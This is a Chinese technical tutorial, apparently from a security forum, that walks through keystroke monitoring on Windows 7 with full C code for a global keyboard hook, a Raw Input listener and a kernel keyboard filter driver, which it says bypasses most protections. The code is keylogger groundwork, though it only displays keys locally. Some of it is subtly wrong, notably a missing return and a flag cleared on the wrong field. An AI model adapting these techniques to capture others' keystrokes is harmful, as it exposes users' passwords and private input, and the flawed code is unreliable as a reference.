一.前言
实验目的 | 实现对键盘按键的监控 |
操作系统 | Win7 x86 |
编译器 | Visual Studio2017 |
二.全局键盘钩子
1.实现原理
关于如何挂钩子,请看:常见的几种DLL注入技术中后面的全局钩子注入,后面有对钩子技术的解释。要用钩子技术实现按键监控,整体过程和挂全局钩子是一样的,只是一些参数和回调函数设置不同罢了。
想要通过全局键盘钩子来实现对键盘消息进行截获,就需要当调用SetWindowHookEx的时候,将参数idHook,也就是安装的钩子类型设置为WH_KEYBOARD,此时的回调函数就是KeyboardProc,通过该回调函数就可以实现按键监控,该函数定义如下:
LRESULT CALLBACK KeyboardProc(int code,
WPARAM wParam,
LPARAM lParam);
参数 | 含义 |
code | 指定钩子过程用于确定如何处理消息的代码。如果代码小于零,则钩子过程必须将消息传递给CallNextHookEx函数而无需进一步处理,并且应该返回CallNextHookEx返回的值。此参数可以是以下值之一。 HC_ACTION: wParam和lParam参数包含有关击键消息的信息。 HC_NOREMOVE: wParam和lParam参数包含有关击键消息的信息,并且击键消息尚未从消息队列中删除。 |
wParam | 指定生成击键消息的键的虚拟键代码 |
lParam | 指定重复计数、扫描代码、扩展密钥标志、上下文代码、上一个密钥状态标志和转换状态标志,此参数可以是以下一个或多个值: 0-15 指定重复计数。该值是由于用户按住键而重复击键的次数。 16-23 指定扫描代码。该值取决于OEM。 24 指定该键是扩展键,如功能键还是数字键盘上的键。如果该键是扩展键,则该值为1;否则,它是0。 25-28 保留的。 29 指定上下文代码。如果ALT键按下,则该值为1;否则,它是0。 30 指定上一个键状态。如果在发送消息之前按键已按下,则该值为1;如果钥匙向上,则为0。 31 指定转换状态。如果按下该键,则该值为0,如果释放该键,则该值为1。 |
由此可知,当code等于HC_ACTION的时候,lParam包含了消息的信息,此时可以通过GetKeyNameText来获得消息,该函数定义如下:
int GetKeyNameText(LONG lParam,
LPTSTR lpString,
int nSize);
参数 | 含义 |
lParam | 含义同上
|
lpString | 指向将接收按键名称的缓冲区的指针 |
nSize | 指定键名的最大长度(以TCHAR为单位),包括终止的空字符 |
因此,通过设置回调函数和GetKeyNameText函数就可以截获按键名,就可以知道此时键盘按下的按键是哪一个,具体代码如下
HHOOK g_Hook = NULL;
extern HMODULE g_hDllModule;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code < 0) return CallNextHookEx(g_Hook, code, wParam, lParam);
else if (code == HC_ACTION && lParam > 0)
{
char szBuf[MAXBYTE] = { 0 };
GetKeyNameText(lParam, szBuf, MAXBYTE); // 获取按键名
MessageBox(NULL, szBuf, TEXT("KeyDown"), MB_OK);
if (strcmp(szBuf, "Enter") == 0)
{
return CallNextHookEx(g_Hook, code, wParam, lParam);
}
}
}
BOOL SetHook()
{
g_Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hDllModule, 0);
return g_Hook ? TRUE : FALSE;
}
BOOL UnHook()
{
return g_Hook ? UnhookWindowsHookEx(g_Hook) : FALSE;
}
2.运行结果
可以看到,当钩子函数成功挂载以后,所有的按键消息将被监控到
三.原始输入模型
1.实现原理
想要实现按键监控,可以利用原始输入模型直接从输入设备上获取数据,该方法相比于全局键盘钩子技术更为底层有效,功能也更为强大。但是,在默认情况下,应用程序不接收原始输入,也就是不接收WM_INPUT消息,所以首先要做的就是通过RegisterRawInputDevices来注册原始输入设备,该函数定义如下:
BOOL RegisterRawInputDevices(PCRAWINPUTDEVICE pRawInputDevices,
UINT uiNumDevices,
UINT cbSize);
参数 | 含义 |
pRawInputDevices | 指向一组RAWINPUTDEVICE结构体,代表提供原始输入设备 |
uiNumDevices | pRawInputDevices指向的RAWINPUTDEVICE结构的数量 |
cbSize | 指向RAWINPUTDEVICE结构的大小 |
其中RAWINPUTDEVICE结构体定义如下:
typedef struct tagRAWINPUTDEVICE {
USHORT usUsagePage; // Toplevel collection UsagePage
USHORT usUsage; // Toplevel collection Usage
DWORD dwFlags;
HWND hwndTarget; // Target hwnd. NULL = follows keyboard focus
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;
成员 | 含义 |
usUsagePage | 指向原始输入设备的顶级集合使用的页面 |
usUage | 指向原始输入设备的顶级集合的用法 |
dwFlags | 模式标志,指定如何解释由usUsagePage和usUsage提供的信息。指定为RIDEV_INPUTSINK表示即使程序不处于上层窗口或激活窗口,程序依然可以接收原始输入,但是,结构体成员目标窗口的句柄hwndTarget必须要指定 |
hwndTarget | 指向目标窗口句柄。如果是NULL,它会遵循键盘焦点 |
注册设备的时候,RAWINPUTDEVICE中的usUsagePage(设备类)和usUsage(设备类内具体设备)说明了它所希望接收设备的类别
因此,想要接收WM_INPUT消息,就需要通过指定对应的usUsagePage和usUsage来注册输入设备
成功注册设备以后,接下来就需要使用GetRawInputData函数来从设备中获取原始输入,该函数的定义如下:
UINT GetRawInputData(HRAWINPUT hRawInput,
UINT uiCommand,
LPVOID pData,
PUINT pcbSize,
UINT cbSizeHeader);
参数 | 含义 |
hRawInput | 指向RAWINPUT结构的句柄。它来自于WM_INPUT消息中的lParam |
uiCommand | 命令标志,此参数可以是以下值之一: |
pData | 指向来自RAWINPUT结构的数据指针,这取决于uiCommand的值。如果pData为NULL,则在*pcbSize中返回所需缓冲区的大小 |
pcbSize | 指定pData中数据的大小 |
cbSizeHeader | 指向RAWINPUTHEADER结构体的大小 |
通过这个函数,就可以将接收到的消息保存在pData中,其中RAWINPUT结构体定义如下:
typedef struct tagRAWINPUT {
RAWINPUTHEADER header;
union {
RAWMOUSE mouse;
RAWKEYBOARD keyboard;
RAWHID hid;
} data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
RAWINPUTHEADER类型的header保存了原始输入的信息,该结构体定义如下:
typedef struct tagRAWINPUTHEADER {
DWORD dwType;
DWORD dwSize;
HANDLE hDevice;
WPARAM wParam;
} RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;
当dwType表示原始输入的类型,当它为RIM_TYPEBOARD的时候表示的就是键盘的原始输入。
要获取的键盘消息则在RAWKEYBOARD的keyboard中,RAWKEYBOARD的定义如下:
typedef struct tagRAWKEYBOARD {
/*
* The "make" scan code (key depression).
*/
USHORT MakeCode;
/*
* The flags field indicates a "break" (key release) and other
* miscellaneous scan code information defined in ntddkbd.h.
*/
USHORT Flags;
USHORT Reserved;
/*
* Windows message compatible information
*/
USHORT VKey;
UINT Message;
/*
* Device-specific additional information for the event.
*/
ULONG ExtraInformation;
} RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;
成员 | 含义 |
VKey | 存储键盘按键的数据,是一个虚拟键码 |
Message | 表示相应的窗口消息: WM_KEYDOWN:普通按键消息 WM_SYSKEYDOWN:系统按键消息
|
由于这种键盘监控的方法需要用到窗口,所以需要创建窗口程序,接下来就看看在VS2017中如何使用资源来创建窗口程序。
首先新建一个Win32应用程序,并把自动生成的文件删除,只留下.cpp文件
接着新增对话框的资源
此时会生成resource.h和MonitorKeyboard.rc,打开MonitorKeyboard.rc文件就会出现创建的对话框,删除创建的对话框中的按钮,并把对话框的ID改为IDD_DIALOG_MAIN
此时打开resource.h文件,就会看到IDD_DIALOG_MAIN的宏定义被添加进去了
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 MonitorKeyboard.rc 使用
//
#define IDD_DIALOG_MAIN 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
此时只需要在.cpp文件中将resource.h文件引入就可以使用创建的对话框,而要创建窗口就需要使用DialogBox函数,该函数定义如下:
int DialogBox(HINSTANCE hInstance,
LPCTSTR lpTemplate,
HWND hWndParent,
DLGPROC lpDialogFunc);
参数 | 含义 |
hInstance
| 其可执行文件包含对话框模板的模块的句柄 |
lpTemplate | 指向对话框模板的长指针。此参数是指向指定对话框模板名称的以null结尾的字符串的指针,或是指定对话框模板的资源标识符的整数值。如果参数指定资源标识符,则其高阶字必须为零,低阶字必须包含该标识符。您可以使用MAKEINTRESOURCE宏来创建此值 |
hWndParent | 拥有对话框的窗口的句柄 |
lpDialogFunc | 指向对话框过程的长指针 |
其中的lpDialogFunc函数是用来处理接收到的消息的,该函数定义如下
BOOL CALLBACK DialogProc(HWND hwndDlg,
UINT uMsg,
WPARAM wParam,
LPARAM lParam);
参数 | 含义 |
hwndDlg | 对话框的句柄 |
uMsg | 指定接收到的消息 |
wParam
| 指定其他特定于消息的信息 |
lParam | 指定其他特定于消息的信息 |
根据以上内容最终可以使用以下代码来实现键盘按键监控
// MonitorKeyboard.cpp : 定义应用程序的入口点。
//
#include <Windows.h>
#include <cstdio>
#include "resource.h"
VOID ShowError(PCHAR msg);
BOOL InitDevice(HWND hwnd); // 初始化原始输入设备
BOOL GetData(LPARAM lParam); // 获取原始输入设备数据
BOOL CALLBACK DialogProc(HWND hwndDlg,
UINT uMsg,
WPARAM wParam,
LPARAM lParam)
{
BOOL bRet = FALSE;
switch (uMsg)
{
case WM_INPUT:
{
GetData(lParam);
bRet = TRUE;
break;
}
case WM_CLOSE:
{
EndDialog(hwndDlg, 0);
bRet = TRUE;
break;
}
case WM_INITDIALOG:
{
if (!InitDevice(hwndDlg)) EndDialog(hwndDlg, 0);
bRet = TRUE;
break;
}
}
return bRet;
}
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{
DialogBox(hInstance, MAKEINTRESOURCE(IDD_DIALOG_MAIN), NULL, DialogProc);
return 0;
}
BOOL GetData(LPARAM lParam)
{
BOOL bRet = TRUE;
RAWINPUT rawInputData = { 0 };
UINT uSize = sizeof(rawInputData);
CHAR szVKey[20] = { 0 };
// 获取输入数据
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawInputData, &uSize, sizeof(RAWINPUTHEADER));
if (rawInputData.header.dwType == RIM_TYPEKEYBOARD)
{
if ((rawInputData.data.keyboard.Message == WM_KEYDOWN) ||
(rawInputData.data.keyboard.Message == WM_SYSKEYDOWN))
{
sprintf(szVKey, "%d", rawInputData.data.keyboard.VKey);
MessageBox(NULL, szVKey, TEXT("KeyDown"), MB_OK);
}
}
return bRet;
}
BOOL InitDevice(HWND hwnd)
{
BOOL bRet = TRUE;
RAWINPUTDEVICE rawInputDevice = { 0 };
// 初始化RAWINPUTDEVICE使其接收键盘消息
rawInputDevice.hwndTarget = hwnd;
rawInputDevice.usUsagePage = 0x01;
rawInputDevice.usUsage = 0x06;
rawInputDevice.dwFlags = RIDEV_INPUTSINK;
// 注册原始输入设备
if (!RegisterRawInputDevices(&rawInputDevice, 1, sizeof(rawInputDevice)))
{
ShowError("RegisterRawInputDevices");
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
VOID ShowError(PCHAR msg)
{
CHAR szError[MAXBYTE] = { 0 };
sprintf(szError, "%s Error %d", msg, GetLastError());
MessageBox(NULL, szError, TEXT("Error"), MB_OK);
}
2.运行结果
最终可以看到按键操作被监控到了,并以虚拟键码的形式弹出来了
四.过滤驱动
1.实现原理
相对于用户层的键盘监控,驱动层的监控更加底层,它可以绕过绝大多数的保护。
按键操作IRP在驱动层会经过分层驱动设备栈,对于同一设备栈中,IRP会从栈顶一直传递到栈底,且新添加的设备总是附加在设备栈的顶部,也就是说新添加的设备可以更先获取IRP。
过滤驱动的实现便是基于此:
键盘过滤驱动是工作在异步模式下的,为了得到一个按键操作,它首先需要发送IRP_MJ_READ到驱动的设备栈,驱动会立刻完成这个IRP,并将刚按下的键的相关数据作为该IRP的返回值返回。
键盘过滤驱动的按键记录就是基于这个原理。驱动程序创建一个键盘设备,将它附加在键盘类KbdClass设备栈上,此时该设备就是设备栈的栈顶。当有键盘按下IRP消息的时候,该设备最先接收到IRP消息,此时就可以设置完成回调函数,向下传递按键信息,获取按键信息。该键盘驱动设备就是一个过滤驱动设备,附加在键盘类驱动设备栈之上。
具体的创建过滤驱动设备的实现流程如下:
调用IoCreateDevice创建FILE_DEVICE_KEYBOARD键盘设备,并调用IoCreateSymbolicLink函数为该设备创建一个符号链接
调用IoGetDeviceObjectPointer函数获取KeyboardClass0驱动设备对象
调用IoAttachDeviceToDeviceStack函数将创建的键盘设备附加到KeyboardClass0设备对象所在的设备栈顶之上
IoGetDeviceObjectPointer函数的定义如下:
NTSTATUS
IoGetDeviceObjectPointer(
IN PUNICODE_STRING ObjectName,
IN ACCESS_MASK DesiredAccess,
OUT PFILE_OBJECT *FileObject,
OUT PDEVICE_OBJECT *DeviceObject
);
参数 | 含义 |
ObjectName | 指向包含作为设备对象名称的Unicode字符串的缓冲区的指针 |
DesiredAccess | 指定表示所需访问的访问掩码值。通常是FILE_READ_DATA,极少会由FILE_WRITE_DATA或FILE_ALL_ACCESS |
FileObject | 指向文件对象的指针,如果调用成功,该文件对象表示与用户模式代码对应的设备对象 |
DeviceObject | 如果调用成功,则指向表示命名逻辑、虚拟或物理设备的设备对象的指针 |
IoAttachDeviceToDeviceStack函数的定义如下:
PDEVICE_OBJECT
IoAttachDeviceToDeviceStack(
IN PDEVICE_OBJECT SourceDevice,
IN PDEVICE_OBJECT TargetDevice);
参数 | 含义 |
SourceDevice | 指向调用方创建的设备对象的指针 |
TargetDevice | 指向另一个驱动程序的设备对象的指针,如前一次调用IoGetDeviceObjectPointer返回的指针 |
该函数的返回值是原来设备栈上的栈顶设备,也就是当前设备栈上附加设备的下一个设备
想要截获键盘输入,重点是截获操作系统发给键盘的IRP读请求。当键盘收到IRP读请求时,等待用户输入,若用户输入,则把用户输入的数据填充到IRP读请求中,在把这个IRP读请求发送给操作系统。自定义的键盘过滤驱动设备最先捕获到这个IRP读请求,但是里面并没有按键数据。解决方法是设置一个回调函数,然后,将IRP读请求继续往下传递。等到键盘的IRP读请求处理完毕之后,再去执行先前设置的回调函数,从中获取键盘信息。
在IRP读请求中具体的处理流程如下:
调用IoCopyCurrentIrpStackLocationToNext函数将当前设备中的IRP赋值到下一个设备中
调用IoSetCompletionRoutine函数设置完成回调函数,将在下一层驱动完成由IRP指定的操作请求时调用这个函数
调用IoCallDriver函数,将IRP发送到下一个设备
IoCopyCurrentIrpStackLocationToNext函数定义如下:
VOID
IoCopyCurrentIrpStackLocationToNext(
IN PIRP Irp
);
IoSetCompletionRoutine函数定义如下:
VOID
IoSetCompletionRoutine(
IN PIRP Irp,
IN PIO_COMPLETION_ROUTINE CompletionRoutine OPTIONAL,
IN PVOID Context OPTIONAL,
IN BOOLEAN InvokeOnSuccess,
IN BOOLEAN InvokeOnError,
IN BOOLEAN InvokeOnCancel
);
参数 | 含义 |
Irp | 指向驱动程序正在处理的IRP的指针 |
CompletionRoutine | 指定驱动程序提供的IoCompletion例程的入口点,该例程在下一个较低的驱动程序完成数据包时调用 |
Context | 指向驱动程序确定的要传递给IoCompletion例程的上下文的指针。上下文信息必须存储在非分页内存中,因为IoCompletion例程是在IRQL<=DISPATCH_级别调用的 |
InvokeOnSuccess | 指定在IRP的IO_STATUS_BLOCK结构体中使用成功状态值完成IRP时,是否根据NT_success宏的结果调用完成例程(请参见使用NTSTATUS值) |
InvokeOnSuccess | 指定如果IRP在IRP的IO_STATUS_BLOCK结构体中使用非成功状态值完成,是否调用完成例程 |
InvokeOnSuccess | 指定如果驱动程序或内核调用IoCancelIrp以取消IRP,是否调用完成例程 |
其中的完成回调函数CompletionRoutine定义如下:
IO_COMPLETION_ROUTINE IoCompletion;
NTSTATUS
IoCompletion(
__in PDEVICE_OBJECT DeviceObject,
__in PIRP Irp,
__in PVOID Context
)
{...}
参数 | 含义 |
DeviceObject | 调用者提供的指向DEVICE_OBJECT结构体的指针。这是目标设备的设备对象,以前由驱动程序的AddDevice例程创建 |
Irp
| 调用方提供的指向描述I/O操作的IRP结构的指针 |
Context
| 调用方提供的指向特定于驱动程序的上下文信息的指针,以前在调用IoSetCompletionRoutineEx或IoSetCompletionRoutineEx时提供。上下文信息必须存储在非分页内存中,因为可以在DISPATCH_级别调用IoCompletion例程 |
设置完回调函数以后,驱动就可以在回调函数的IRP中的AssociatedIrp.SystemBuffer获取包含按键数据信息PKEYBOARD_INPUT_DATA,该结构体的定义如下:
typedef struct _KEYBOARD_INPUT_DATA {
//
// Unit number. E.g., for \Device\KeyboardPort0 the unit is '0',
// for \Device\KeyboardPort1 the unit is '1', and so on.
//
USHORT UnitId;
//
// The "make" scan code (key depression).
//
USHORT MakeCode;
//
// The flags field indicates a "break" (key release) and other
// miscellaneous scan code information defined below.
//
USHORT Flags;
USHORT Reserved;
//
// Device-specific additional information for the event.
//
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
其中Flags若为0,则表示按键按下,若为1则表示按键弹起,而MakeCode中保存的则是按键的扫描码。
这里还需要解决的问题是,由于要向下一个设备发送IRP以及任何时候设备栈底都会有一个键盘的IRP_MJ_READ请求处于挂起未确定状态,这意味着只有该IRP完成返回,并且新的IRP请求还未送到时,设备才会有一个很短暂的时间处于非挂起状态。如果按照一般的方式动态卸载键盘过滤驱动,那么基本都有IRP_MJ_READ请求处于挂起未确定状态。这时,驱动程序若已经执行了卸载驱动的操作,那么之后的按键要处理这个IRP的时候会因为找不到驱动而蓝屏。要解决这两个问题,只需要在创建设备的时候增加DeviceExtension,在这个DeviceExtension将信息记录下来以供程序正常运行。
具体代码如下:
#include <ntddk.h>
#include <Ntddkbd.h>
#define DEVICE_NAME L"\\Device\\Keyboard"
#define SYMBOL_LINK_XP L"\\DosDevices\\Keyboard"
#define SYMBOL_LINK_WIN7 L"\\DosDevices\\Global\\Keyboard"
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pAttachDevObj;
ULONG uIrpInQueue;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
VOID ShowError(PCHAR msg, NTSTATUS status);
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DispatchRead(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(DEVICE_NAME), uSymbolLinkName;
UNICODE_STRING uStrObjName = RTL_CONSTANT_STRING(L"\\Device\\KeyboardClass0");
ULONG i = 0;
PFILE_OBJECT pFileObj = NULL;
PDEVICE_OBJECT pKeyboardClassDeveObj = NULL, pAttachDevObj = NULL, pDeviceObj = NULL;
DbgPrint("驱动加载成功\r\n");
// 创建键盘设备
status = IoCreateDevice(driverObject,
sizeof(DEVICE_EXTENSION),
&uDeviceName,
FILE_DEVICE_KEYBOARD,
0,
FALSE,
&pDeviceObj);
if (!NT_SUCCESS(status))
{
ShowError("IoCreateDevice", status);
goto exit;
}
//创建符号链接
if (IoIsWdmVersionAvailable(1, 0x10)) //根据操作系统版本来初始化符号名
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_WIN7);
}
else
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_XP);
}
// 创建符号连接
status = IoCreateSymbolicLink(&uSymbolLinkName, &uDeviceName);
if (!NT_SUCCESS(status))
{
ShowError("IoCreateDevice", status);
goto exit;
}
// 获取键盘设备指针
status = IoGetDeviceObjectPointer(&uStrObjName,
GENERIC_READ | GENERIC_WRITE,
&pFileObj,
&pKeyboardClassDeveObj);
if (!NT_SUCCESS(status))
{
ShowError("IoGetDeviceObjectPointer", status);
goto exit;
}
// 减少引用
ObDereferenceObject(pFileObj);
// 将当前设备附加到键盘设备的设备栈顶上
pAttachDevObj = IoAttachDeviceToDeviceStack(pDeviceObj, pKeyboardClassDeveObj);
if (pAttachDevObj == NULL)
{
DbgPrint("IoAttachDeviceToDeviceStack Error\r\n");
goto exit;
}
// 设置设备标志与附加到设备栈上的设备标志一致
pDeviceObj->Flags = pDeviceObj->Flags | DO_BUFFERED_IO | DO_POWER_PAGABLE;
pDeviceObj->ActiveThreadCount = pDeviceObj->ActiveThreadCount & (~DO_DEVICE_INITIALIZING);
// 保存下一个设备到DeviceExtension
((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->pAttachDevObj = pAttachDevObj;
((PDEVICE_EXTENSION)pDeviceObj->DeviceExtension)->uIrpInQueue = 0;
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DispatchCommon;
}
driverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
NTSTATUS DispatchRead(PDEVICE_OBJECT pObj, PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
// 复制pIrp的IO_STACK_LOCATION到下一设备
IoCopyCurrentIrpStackLocationToNext(pIrp);
// 设置完成例程
IoSetCompletionRoutine(pIrp, ReadCompleteRoutine, pObj, TRUE, TRUE, TRUE);
// 记录IRP数量
((PDEVICE_EXTENSION)pObj->DeviceExtension)->uIrpInQueue++;
// 发送IRP到下一个设备
status = IoCallDriver(((PDEVICE_EXTENSION)pObj->DeviceExtension)->pAttachDevObj, pIrp);
return status;
}
NTSTATUS ReadCompleteRoutine(PDEVICE_OBJECT pDevObj, PIRP pIrp, PVOID pContext)
{
NTSTATUS status = pIrp->IoStatus.Status;
PKEYBOARD_INPUT_DATA pKeyboardInputData = NULL;
ULONG ulKeyCount = 0, i = 0;
if (NT_SUCCESS(status))
{
pKeyboardInputData = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
ulKeyCount = (ULONG)pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
// 获取按键数据
for (i = 0; i < ulKeyCount; i++)
{
// Key Press
if (KEY_MAKE == pKeyboardInputData[i].Flags)
{
// 按键扫描码
DbgPrint("[Down][0x%X]\n", pKeyboardInputData[i].MakeCode);
}
// Key Release
else if (KEY_BREAK == pKeyboardInputData[i].Flags)
{
// 按键扫描码
DbgPrint("[Up][0x%X]\n", pKeyboardInputData[i].MakeCode);
}
}
}
if (pIrp->PendingReturned)
{
IoMarkIrpPending(pIrp);
}
// 减少IRP在队列的数量
((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->uIrpInQueue--;
status = pIrp->IoStatus.Status;
return status;
}
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID ShowError(PCHAR msg, NTSTATUS status)
{
DbgPrint("%s Error 0x%X\n", msg, status);
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
PDEVICE_OBJECT pDevObj = driverObject->DeviceObject;
LARGE_INTEGER liDelay = { 0 };
UNICODE_STRING uSymbolLinkName;
if (pDevObj == NULL || pDevObj->DeviceExtension == NULL)
{
goto exit;
}
// 先把过滤驱动设备和键盘设备分离, 以免产生新的IRP_MJ_READ
IoDetachDevice(((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->pAttachDevObj);
// 对于为完成的IRP,因为只前通过IoSetCompletionRoutine已经设置IO完成例程
// 那么对于未完成的IRP ,在完成之后会调用 该层设备的函数
// 需要手动按键, 是pending状态的IRP完成返回
liDelay.QuadPart = -1000000;
while (0 < ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->uIrpInQueue)
{
KdPrint(("剩余挂起IRP:%d\n", ((PDEVICE_EXTENSION)pDevObj->DeviceExtension)->uIrpInQueue));
KeDelayExecutionThread(KernelMode, FALSE, &liDelay);
}
if (IoIsWdmVersionAvailable(1, 0x10))
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_WIN7);
}
else
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_XP);
}
IoDeleteSymbolicLink(&uSymbolLinkName);
if (driverObject->DeviceObject)
{
IoDeleteDevice(driverObject->DeviceObject);
}
exit:
DbgPrint("驱动卸载完成\r\n");
}
2.运行结果
可以看到程序可以正常监控到按键信息,并且驱动也可以正常卸载
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2021-12-2 09:40
被1900编辑
,原因: